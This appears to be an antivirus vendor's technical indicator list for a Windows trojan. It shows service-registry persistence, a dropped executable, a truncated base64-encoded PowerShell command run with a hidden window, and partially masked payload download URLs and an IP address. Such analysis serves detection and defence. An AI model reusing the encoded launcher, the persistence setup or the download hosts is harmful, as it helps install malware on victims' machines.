Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\kbdax2] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\kbdax2] 'ImagePath' = '"%WINDIR%\SysWOW64\spbcd\kbdax2.exe"'
- 'kbdax2' "%WINDIR%\SysWOW64\spbcd\kbdax2.exe"
- 'kbdax2' %WINDIR%\SysWOW64\spbcd\kbdax2.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABVADQAawB2AGYAYQBtAD0AKAAnAEYAbgAnACsAKAAnAGYAMwA0ACcAKwAnAHYAJwApACsAJwBiACcAKQA7AC4AKAAnAG4AJwArACcAZQB3AC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAGUAbgB2ADoAVABlAE0AUABcAFcATwByAGQAXAAyADAAMQA5AF...
- %TEMP%\word\2019\k073c59.exe
- %WINDIR%\syswow64\spbcd\kbdax2.exe
- %TEMP%\word\2019\k073c59.exe в %WINDIR%\syswow64\spbcd\kbdax2.exe
- '24.#6.151.3':80
- http://www.no###hem.com.tr/wp-includes/file/HDSTwTon/
- http://24.#6.151.3/GFzLxX9/kJrI1RH/LJn1z5U65bD/WcJxHuVW/
- DNS ASK no###hem.com.tr
- '%TEMP%\word\2019\k073c59.exe'
- '%WINDIR%\syswow64\spbcd\kbdax2.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABVADQAawB2AGYAYQBtAD0AKAAnAEYAbgAnACsAKAAnAGYAMwA0ACcAKwAnAHYAJwApACsAJwBiACcAKQA7AC4AKAAnAG4AJwArACcAZQB3AC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAGUAbgB2ADoAVABlAE0AUABcAFcATwByAGQAXAAyADAAMQA5AF...' (со скрытым окном)